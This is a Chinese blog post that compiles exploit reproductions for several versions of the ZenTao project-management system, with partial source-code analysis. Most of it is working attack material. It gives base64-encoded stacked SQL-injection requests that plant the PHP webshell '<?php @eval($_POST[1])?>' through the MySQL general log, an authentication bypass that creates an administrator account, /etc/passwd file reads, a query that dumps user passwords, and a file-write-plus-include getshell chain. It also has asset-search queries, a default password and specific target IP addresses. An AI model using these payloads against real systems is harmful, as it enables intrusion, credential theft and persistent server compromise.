禅道各版本漏洞复现汇总上篇

admin 2025年8月19日22:10:07评论645 views字数 25554阅读85分10秒阅读模式

前言

禅道各版本漏洞汇总,将网上的poc整理然后部分复现笔记记录一下,大佬勿喷,可以直接跳过。

小白可以直接收藏下来学习一下很多poc我都直接给出来了,基本就是我的笔记。

如果,有不对的可以指正一下,一起学习,演示地址均为国外地址或者靶场。

这排版有点毁了,凑活看吧,呜呜呜呜呜。

这里总结一下目录

禅道产品介绍
资产测绘
基本信息收集
zentaopms-9.1.2-sql SQL注入&getshell
zentao-getshell 禅道8.2 - 9.2.1前台Getshell
禅道项目管理系统 身份认证绕过(QVD-2024-15263)
禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞
禅道_11.6_api_getModel_api_sql_sql后台SQL注入漏洞
禅道-11.6-api-getModel-editor-save-filePath-后台任意文件写入漏洞

禅道产品介绍

禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整地覆盖了项目管理的核心流程。  
禅道管理思想注重实效,功能完备丰富,操作简洁高效,界面美观大方,搜索功能强大,统计报表丰富多样,软件架构合理,扩展灵活,有完善的 API 可以调用。

官网地址

https://www.zentao.net/

禅道各版本漏洞复现汇总上篇
禅道各版本漏洞复现汇总上篇

资产测绘

#建议多种测绘引擎交叉使用

fofa
app="易软天创-禅道系统"

icon_hash="53755730"

hunter

app.name="ZenTao 禅道 ALM"

quaker
app:"禅道系统"

favicon: "b1d3deb4bd16c8c1637235515deea114"

禅道各版本漏洞复现汇总上篇
禅道各版本漏洞复现汇总上篇
禅道各版本漏洞复现汇总上篇

基本信息收集

查看禅道版本信息


/zentao/index.php?mode=getconfig

禅道各版本漏洞复现汇总上篇

产看报错信息获取绝对路径

/zentaopms/www/index.php?m=user&f=login1/www/zentaopms/framework/base/router.class.php

禅道各版本漏洞复现汇总上篇

默认口令,但是一般都强制修改

admin/123456

禅道各版本漏洞复现汇总上篇

zentaopms-9.1.2-sql SQL注入&getshell

poc

//sleep(5)
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwNzM2YzY1NjU3MDI4MzUyOTtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ== HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

//开启日志:set global general_log='on'; 
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjczZDI3NmY2ZTI3M2I7UFJFUEFSRSBwb3JkIEZST00gQFNRTDtFWEVDVVRFIHBvcmQ7LS0gLSIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0= HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

//更改日志路径:set global general_log_file='/www/zentaopms/module/misc/ext/model/foo.php'; 
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjc1ZjY2Njk2YzY1M2QyNzJmNzc3Nzc3MmY3YTY1NmU3NDYxNmY3MDZkNzMyZjZkNmY2NDc1NmM2NTJmNmQ2OTczNjMyZjY1Nzg3NDJmNmQ2ZjY0NjU2YzJmNjY2ZjZmMmU3MDY4NzAyNzNiO1BSRVBBUkUgcG9yZCBGUk9NIEBTUUw7RVhFQ1VURSBwb3JkOy0tIC0iLCJudW0iOiIxLDEiLCJ0eXBlIjoib3BlbmVkYnltZSJ9 HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

//注入shell语句:select '<?php @eval($_POST[1])?>';
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTZjNjU2Mzc0MjAyNzNjM2Y3MDY4NzAyMDQwNjU3NjYxNmMyODI0NWY1MDRmNTM1NDViMzE1ZDI5M2YzZTI3M2I7UFJFUEFSRSBwb3JkIEZST00gQFNRTDtFWEVDVVRFIHBvcmQ7LS0gLSIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0= HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

//关闭日志:set global general_log='off';
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjczZDI3NmY2NjY2MjczYjtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ== HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

漏洞复现过程

直接使用vulfocus进行复现

禅道各版本漏洞复现汇总上篇

访问地址

http://123.58.224.8:51014/zentaopms/www/index.php

禅道各版本漏洞复现汇总上篇

版本查看

http://123.58.224.8:51014/zentaopms/www/index.php?mode=getconfig

禅道各版本漏洞复现汇总上篇

路劲获取

http://123.58.224.8:51014//zentaopms/www/index.php?m=user&f=login1/www/zentaopms/framework/base/router.class.php

禅道各版本漏洞复现汇总上篇

直接使用poc进行攻击

//sleep(5)

GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwNzM2YzY1NjU3MDI4MzUyOTtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ== HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

禅道各版本漏洞复现汇总上篇

src到这一步停手,如果需要深入继续

//开启日志:set global general_log='on';


GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjczZDI3NmY2ZTI3M2I7UFJFUEFSRSBwb3JkIEZST00gQFNRTDtFWEVDVVRFIHBvcmQ7LS0gLSIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0= HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

禅道各版本漏洞复现汇总上篇

//更改日志路径:set global general_log_file='/www/zentaopms/module/misc/ext/model/foo.php';


GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjc1ZjY2Njk2YzY1M2QyNzJmNzc3Nzc3MmY3YTY1NmU3NDYxNmY3MDZkNzMyZjZkNmY2NDc1NmM2NTJmNmQ2OTczNjMyZjY1Nzg3NDJmNmQ2ZjY0NjU2YzJmNjY2ZjZmMmU3MDY4NzAyNzNiO1BSRVBBUkUgcG9yZCBGUk9NIEBTUUw7RVhFQ1VURSBwb3JkOy0tIC0iLCJudW0iOiIxLDEiLCJ0eXBlIjoib3BlbmVkYnltZSJ9 HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

禅道各版本漏洞复现汇总上篇

//注入shell语句:select '<?php @eval($_POST[1])?>';


GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTZjNjU2Mzc0MjAyNzNjM2Y3MDY4NzAyMDQwNjU3NjYxNmMyODI0NWY1MDRmNTM1NDViMzE1ZDI5M2YzZTI3M2I7UFJFUEFSRSBwb3JkIEZST00gQFNRTDtFWEVDVVRFIHBvcmQ7LS0gLSIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0= HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

禅道各版本漏洞复现汇总上篇

访问查看

http://123.58.224.8:51014/zentaopms/module/misc/ext/model/foo.php

禅道各版本漏洞复现汇总上篇

然后使用蚁剑进行连接

禅道各版本漏洞复现汇总上篇

禅道各版本漏洞复现汇总上篇

漏洞复现说明

漏洞点:orderBy处理过程中存在SQL注入问题,可堆叠注入。拿其中一个payload演示编码步骤如下:
选择所用payload语句:select sleep(5)

将SQL语句hex编码:0x73656c65637420736c656570283529
将hex编码后的参数插入json中:{"orderBy":"order limit 1;SET @SQL=0x73656c65637420736c656570283529;PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}


将json数据进行base64编码:eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwNzM2YzY1NjU3MDI4MzUyOTtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==


将base64编码后的数据插入请求:http://118.193.36.37:10363/zentaopms/www/index.php%EF%BC%9Fm=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwNzM2YzY1NjU3MDI4MzUyOTtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==


注:每一个请求中都需要手动添加refer字段:Referer:http://118.193.36.37:10363/zentaopms/
获取webshell过程的payload如下:(采用的是日志写shell的方式)


开启日志:set global general_log='on';


更改日志路径:set global general_log_file='/www/zentaopms/module/misc/ext/model/foo.php';


注入shell语句:select '<?php @eval($_POST[1])?>';


关闭日志:set global general_log='off';


访问webshell获取flag:链接:http://123.58.224.8:51014/zentaopms/module/misc/ext/model/foo.php 密码:1

zentao-getshell 禅道8.2 - 9.2.1前台Getshell

脚本github获取

https://github.com/jas502n/zentao-getshell

python exp.py http://127.0.0.1:81/ jas502n.php

禅道各版本漏洞复现汇总上篇

禅道项目管理系统 身份认证绕过(QVD-2024-15263)

影响范围:   
v16.x <= 禅道 < v18.12 (开源版)    
v6.x <= 禅道 < v8.12 (企业版)     
v3.x <= 禅道 < v4.12 (旗舰版)

漏洞复现

禅道各版本漏洞复现汇总上篇

使用Docker搭建一个测试环境,使用官方镜像18.11版本。

docker run -d -p 60028:80 -e MYSQL_INTERNAL=true hub.zentao.net/app/zentao:18.11

点击下一步下一步完成安装。

禅道各版本漏洞复现汇总上篇

首先请求包访问接口获取有效cookie。

GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=hxsjoqkyiveutbzwlvjv&branch=rbpcotcxawqpqhvhqfpp HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="109", "Chromium";v="109", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Connection: close

禅道各版本漏洞复现汇总上篇

获取有效cookie后,可以根据API手册构造请求包,例如,添加用户。回显状态码403则表示添加成功。

官方手册地址:https://www.zentao.net/book/api/setting-369.html

POST /biz/api.php/v1/users HTTP/1.1
Host: 192.168.0.102
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Cookie: zentaosid=d95c19a900256b7dc3c3f1866b1d121c

{"account": "asda33", "password": "QQqq123456", "realname": "asda33", "role": "top", "group": "1"}

禅道各版本漏洞复现汇总上篇

禅道各版本漏洞复现汇总上篇

poc检测

nuclei脚本

id: easycorp-zentao-pms-idor-exp

info:
name: 禅道项目管理系统身份认证绕过漏洞
author: GuoRong_X
severity: critical
description: |
- 禅道系统某些API设计为通过特定的鉴权函数进行验证,但在实际实现中,这个鉴权函数在鉴权失败后并不中断请求,而是仅返回一个错误标志,这个返回值在后续没有被适当处理。此外,该系统在处理某些API时未能有效检查用户身份,允许未认证的用户执行某些操作,从而绕过鉴权机制。
reference:
- https://mp.weixin.qq.com/s/hiGI_fQmXOHdkPqn6x00Jw
metadata:
verified: true
fofa-query: title="用户登录- 禅道"
tags: zentao
variables:
username: '{{rand_base(6)}}'
password: '{{rand_base(12)}}'

http:
- raw:
- |
GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host: {{Hostname}}

- |
GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host: {{Hostname}}

- |
GET /biz/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host: {{Hostname}}

- |
GET /max/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host: {{Hostname}}

- |
POST /api.php/v1/users HTTP/1.1
Host: {{Hostname}}

{"account": "{{username}}", "password": "{{password}}", "realname": "{{username}}", "role": "top", "group": "1"}

- |
POST /zentao/api.php/v1/users HTTP/1.1
Host: {{Hostname}}

{"account": "{{username}}", "password": "{{password}}", "realname": "{{username}}", "role": "top", "group": "1"}

- |
POST /biz/api.php/v1/users HTTP/1.1
Host: {{Hostname}}

{"account": "{{username}}", "password": "{{password}}", "realname": "{{username}}", "role": "top", "group": "1"}

- |
POST /max/api.php/v1/users HTTP/1.1
Host: {{Hostname}}

{"account": "{{username}}", "password": "{{password}}", "realname": "{{username}}", "role": "top", "group": "1"}
cookie-reuse: true

matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_5, "{{username}}") || contains(body_6, "{{username}}") || contains(body_7, "{{username}}") || contains(body_8, "{{username}}")'
condition: and

extractors:
- type: dsl
dsl:
- '"USER: "+ username'
- '"PASS: "+ password'

或者直接使用工具

https://github.com/kkbo8005/poctools

禅道各版本漏洞复现汇总上篇

还可以使用afrog进行检测

禅道各版本漏洞复现汇总上篇

禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞

禅道 11.6 api-getModel-api-getMethod-filePath 版本中对用户接口调用权限过滤不完善,导致调用接口导致任意文件读取漏洞。

poc

http://xxx.xxx.xxx.xxx/api-getModel-file-parseCSV-fileName=/etc/passwd

http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/etc/passwd/1

环境搭建

这里使用docker环境搭建

docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6

访问 http://xxx.xxx.xxx.xxx:8084按步骤安装即可

禅道各版本漏洞复现汇总上篇

漏洞复现

poc1

http://xxx.xxx.xxx.xxx/api-getModel-file-parseCSV-fileName=/etc/passwd

禅道各版本漏洞复现汇总上篇

注意以 .php .txt 结尾的会被 /framework/base/router.class.php中的parsePathInfo方法 过滤

poc2

http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/etc/passwd/1

禅道各版本漏洞复现汇总上篇

分析poc1

查看module/file/moudel.php下的parseCSV方法

public function parseCSV($fileName)
{
$content = file_get_contents($fileName);
/* Fix bug #890. */
$content = str_replace("x82x32", "x10", $content);
$lines   = explode("n", $content);

$col  = -1;
$row  = 0;
$data = array();
foreach($lines as $line)
{
$line    = trim($line);
$markNum = substr_count($line, '"') - substr_count($line, '"');
if(substr($line, -1) != ',' and (($markNum % 2 == 1 and $col != -1) or ($markNum % 2 == 0 and substr($line, -2) != ',"' and $col == -1))) $line .= ',';
$line = str_replace(',"",', ',,', $line);
$line = str_replace(',"",', ',,', $line);
$line = preg_replace_callback('/("{2,})(,+)/U', array($this, 'removeInterference'), $line);
$line = str_replace('""', '"', $line);

/* if only one column then line is the data. */
if(strpos($line, ',') === false and $col == -1)
{
$data[$row][0] = trim($line, '"');
}
else
{
/* if col is not -1, then the data of column is not end. */
if($col != -1)
{
$pos = strpos($line, '",');
if($pos === false)
{
$data[$row][$col] .= "n" . $line;
$data[$row][$col] = str_replace('&comma;', ',', $data[$row][$col]);
continue;
}
else
{
$data[$row][$col] .= "n" . substr($line, 0, $pos);
$data[$row][$col] = trim(str_replace('&comma;', ',', $data[$row][$col]));
$line = substr($line, $pos + 2);
$col++;
}
}

if($col == -1) $col = 0;
/* explode cols with delimiter. */
while($line)
{
/* the cell has '"', the delimiter is '",'. */
if($line{0} == '"')
{
$pos  = strpos($line, '",');
if($pos === false)
{
$data[$row][$col] = substr($line, 1);
/* if line is not empty, then the data of cell is not end. */
if(strlen($line) >= 1) continue 2;
$line = '';
}
else
{
$data[$row][$col] = substr($line, 1, $pos - 1);
$line = substr($line, $pos + 2);
}
$data[$row][$col] = str_replace('&comma;', ',', $data[$row][$col]);
}
else
{
/* the delimiter default is ','. */
$pos = strpos($line, ',');
/* if line is not delimiter, then line is the data of cell. */
if($pos === false)
{
$data[$row][$col] = $line;
$line = '';
}
else
{
$data[$row][$col] = substr($line, 0, $pos);
$line = substr($line, $pos + 1);
}
}

$data[$row][$col] = trim(str_replace('&comma;', ',', $data[$row][$col]));
$col++;
}
}
$row ++;
$col = -1;
}

return $data;
}

这里可以看到以file为模块名、parseCSV为方法名去调用读取文件

读取的文件名$filename参数可控,例如读取/etc/passwd

分析poc2

查看module/api/moudel.php下的getMethod方法

public function getMethod($filePath, $ext = '')
{
$fileName  = dirname($filePath);
$className = basename(dirname(dirname($filePath)));
if(!class_exists($className)) helper::import($fileName);
$methodName = basename($filePath);

$method = new ReflectionMethod($className . $ext, $methodName);
$data   = new stdClass();
$data->startLine  = $method->getStartLine();
$data->endLine    = $method->getEndLine();
$data->comment    = $method->getDocComment();
$data->parameters = $method->getParameters();
$data->className  = $className;
$data->methodName = $methodName;
$data->fileName   = $fileName;
$data->post       = false;

$file = file($fileName);
for($i = $data->startLine - 1; $i <= $data->endLine; $i++)
{
if(strpos($file[$i], '$this->post') or strpos($file[$i], 'fixer::input') or strpos($file[$i], '$_POST'))
{
$data->post = true; 
}
}
return $data;
}

fileName = dirname(filepath) 这段则为返回的目录名

所以读取/etc/passwd则需要写为/etc/passwd/1来绕过

使用工具进行检测

禅道各版本漏洞复现汇总上篇

禅道_11.6_api_getModel_api_sql_sql后台SQL注入漏洞

禅道 11.6 api-getModel-api-sql-sql文件存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息,危害服务器安全。

poc

http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user

禅道各版本漏洞复现汇总上篇

漏洞分析过程(佩奇文库收录的大手子分析的)

这里使用docker环境搭建

docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6

访问 http://xxx.xxx.xxx.xxx:8084按步骤安装即可

禅道各版本漏洞复现汇总上篇

先对禅道的调用流程进行分析,先查看目录为www/index.php首页文件中

禅道各版本漏洞复现汇总上篇

这里使用router::createApp创建了一个APP对象

$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');

来到framework/base/router.class.php文件查看到createApp方法

禅道各版本漏洞复现汇总上篇

public static function createApp($appName = 'demo', $appRoot = '', $className = '')
{
if(empty($className)) $className = __CLASS__;
return new $className($appName, $appRoot);
}

这里New了一个对象,查看一下调用方法(348行)

禅道各版本漏洞复现汇总上篇

$this->setConfigRoot();

public function setConfigRoot()
{
$this->configRoot = $this->basePath . 'config' . DS;
}

在363行处调用了loadMainConfig方法

$this->loadMainConfig();

public function loadMainConfig()
{
/* 初始化$config对象。Init the $config object. */
global $config, $filter;
if(!is_object($config)) $config = new config();
$this->config = $config;

/* 加载主配置文件。 Load the main config file. */
$mainConfigFile = $this->configRoot . 'config.php';
if(!file_exists($mainConfigFile)) $this->triggerError("The main config file $mainConfigFile not found", __FILE__, __LINE__, $exit = true);
include $mainConfigFile;
}

这里包含了配置文件config.php配置文件,文件目录为/config/config.php

在25行定义了调用方法

$config->requestType = 'PATH_INFO';         // 请求类型:PATH_INFO|PATHINFO2|GET。    The request type: PATH_INFO|PATH_INFO2|GET.
$config->requestFix  = '-';                 // PATH_INFO和PATH_INFO2模式的分隔符。    The divider in the url when PATH_INFO|PATH_INFO2.
$config->moduleVar   = 'm';                 // 请求类型为GET:模块变量名。            requestType=GET: the module var name.
$config->methodVar   = 'f';                 // 请求类型为GET:模块变量名。            requestType=GET: the method var name.
$config->viewVar     = 't';                 // 请求类型为GET:视图变量名。            requestType=GET: the view var name.
$config->sessionVar  = 'zentaosid';         // 请求类型为GET:session变量名。         requestType=GET: the session var name.
$config->views       = ',html,json,mhtml,xhtml,'; // 支持的视图类型。                       Supported view formats.

可以发现这里存在两种路由PATH_INFO|PATH_INFO2:一种是m、f、t来进行调用。另外一种是通过-来进行调用

在index.php中的66行

$app->parseRequest();

public function parseRequest()
{
if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
{
$this->parsePathInfo();
$this->setRouteByPathInfo();
}
elseif($this->config->requestType == 'GET')
{
$this->parseGET();
$this->setRouteByGET();
}
else
{
$this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
}
}

看到这一条则是判断力两种调用方法

$this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2'

跟进setRouteByPathInfo方法

public function setRouteByPathInfo()
{
if(!empty($this->URI))
{
/*
* 根据$requestFix分割符,分割网址。
* There's the request seperator, split the URI by it.
**/
if(strpos($this->URI, $this->config->requestFix) !== false)
{
$items = explode($this->config->requestFix, $this->URI);
$this->setModuleName($items[0]);
$this->setMethodName($items[1]);
}    
/*
* 如果网址中没有分隔符,使用默认的方法。
* No reqeust seperator, use the default method name.
**/
else
{
$this->setModuleName($this->URI);
$this->setMethodName($this->config->default->method);
}
}
else
{    
$this->setModuleName($this->config->default->module);   // 使用默认模块 use the default module.
$this->setMethodName($this->config->default->method);   // 使用默认方法 use the default method.
}
$this->setControlFile();
}

所以可以推断出调用的方法

例如登录页面有两种访问方法

http://xxx.xxx.xxx.xxx/index.php?m=user&f=login
http://xxx.xxx.xxx.xxx/user-login.html

再看一下checkPriv方法

public function checkPriv()
{
$module = $this->app->getModuleName();
$method = $this->app->getMethodName();
if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword')));
if($this->isOpenMethod($module, $method)) return true;
if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();

if(isset($this->app->user))
{
if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
}
else
{
$referer  = helper::safe64Encode($this->app->getURI(true));
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
}

这里检测了调用模块和方法的权限,可以知道除了isOpenMethod中定义的公开模块和方法之外,其他的方法都是需要登录的

最后是$app->loadModule();这段代码

public function loadModule()
{
$appName    = $this->appName;
$moduleName = $this->moduleName;
$methodName = $this->methodName;

/* 
* 引入该模块的control文件。
* Include the control file of the module.
**/
$file2Included = $this->setActionExtFile() ? $this->extActionFile : $this->controlFile;
chdir(dirname($file2Included));
helper::import($file2Included);

/*
* 设置control的类名。
* Set the class name of the control.
**/
$className = class_exists("my$moduleName") ? "my$moduleName" : $moduleName;
if(!class_exists($className)) $this->triggerError("the control $className not found", __FILE__, __LINE__, $exit = true);

/*
* 创建control类的实例。
* Create a instance of the control.
**/
$module = new $className();
if(!method_exists($module, $methodName)) $this->triggerError("the module $moduleName has no $methodName method", __FILE__, __LINE__, $exit = true);
$this->control = $module;

/* include default value for module*/
$defaultValueFiles = glob($this->getTmpRoot() . "defaultvalue/*.php");
if($defaultValueFiles) foreach($defaultValueFiles as $file) include $file;

/* 
* 使用反射机制获取函数参数的默认值。
* Get the default settings of the method to be called using the reflecting. 
*
* */
$defaultParams = array();
$methodReflect = new reflectionMethod($className, $methodName);
foreach($methodReflect->getParameters() as $param)
{
$name = $param->getName();

$default = '_NOT_SET';
if(isset($paramDefaultValue[$appName][$className][$methodName][$name]))
{
$default = $paramDefaultValue[$appName][$className][$methodName][$name];
}
elseif(isset($paramDefaultValue[$className][$methodName][$name]))
{
$default = $paramDefaultValue[$className][$methodName][$name];
}
elseif($param->isDefaultValueAvailable())
{
$default = $param->getDefaultValue();
}

$defaultParams[$name] = $default;
}

/** 
* 根据PATH_INFO或者GET方式设置请求的参数。
* Set params according PATH_INFO or GET.
*/
if($this->config->requestType != 'GET')
{
$this->setParamsByPathInfo($defaultParams);
}
else
{
$this->setParamsByGET($defaultParams);
}

if($this->config->framework->filterParam == 2)
{
$_GET     = validater::filterParam($_GET, 'get');
$_COOKIE  = validater::filterParam($_COOKIE, 'cookie');
}

/* 调用该方法   Call the method. */
call_user_func_array(array($module, $methodName), $this->params);
return $module;
}

通过之前获取的moduleName包含对应的control类文件并实例化,随后调用setParamsByPathInfo方法从路径中获取方法对应的参数值,最后通过call_user_func_array方法调用对应control类中的对应方法并赋值。

我们查看module/api/control.php文件中的getModel方法

禅道各版本漏洞复现汇总上篇

这里通过call_user_func_array函数调用所有的model文件的所有方法。

$result = call_user_func_array(array(&$module, $methodName), $params);

可以看到module/api/moudel.php中的sql函数

public function sql($sql, $keyField = '')
{
$sql  = trim($sql);
if(strpos($sql, ';') !== false) $sql = substr($sql, 0, strpos($sql, ';'));
a($sql);
if(empty($sql)) return '';

if(stripos($sql, 'select ') !== 0)
{
return $this->lang->api->error->onlySelect;
}
else
{
try
{
$stmt = $this->dao->query($sql);
if(empty($keyField)) return $stmt->fetchAll();
$rows = array();
while($row = $stmt->fetch()) $rows[$row->$keyField] = $row;
return $rows;
}
catch(PDOException $e)
{
return $e->getMessage();
}
}
}

这里并没有进行过滤,只使用了代码$ sql=trim( $sql)过滤了空格

我们看一下这里的调用这个方法需要的权限

禅道各版本漏洞复现汇总上篇

禅道-11.6-api-getModel-editor-save-filePath-后台任意文件写入漏洞

poc

POST /api-getModel-editor-save-filePath=/tmp/test HTTP/1.1
Host: 192.168.10.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest

fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?>

禅道各版本漏洞复现汇总上篇

成功写入文件/tmp/test

禅道各版本漏洞复现汇总上篇

通过文件包含运行我们上传的文件,进行getshell

/zentaopms11.6/www/api-getModel-api-getMethod-filePath=/tmp/test/1234

漏洞检测脚本

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech

import base64
import requests
import random
import re
import json
import sys

def title():
print('+------------------------------------------')
print('+  �33[34mPOC_Des: http://wiki.peiqi.tech                                   �33[0m')
print('+  �33[34mGithub : https://github.com/PeiQi0                                 �33[0m')
print('+  �33[34m公众号 : PeiQi文库                                                        �33[0m')
print('+  �33[34mVersion: zentao version = 11.6                                    �33[0m')
print('+  �33[36m使用格式: python3 poc.py                                            �33[0m')
print('+  �33[36mUrl         >>> http://xxx.xxx.xxx.xxx                             �33[0m')
print('+  �33[36mZentaosid   >>> xxxxxxxxxxxxxx(cookie字段)                          �33[0m')
print('+------------------------------------------')

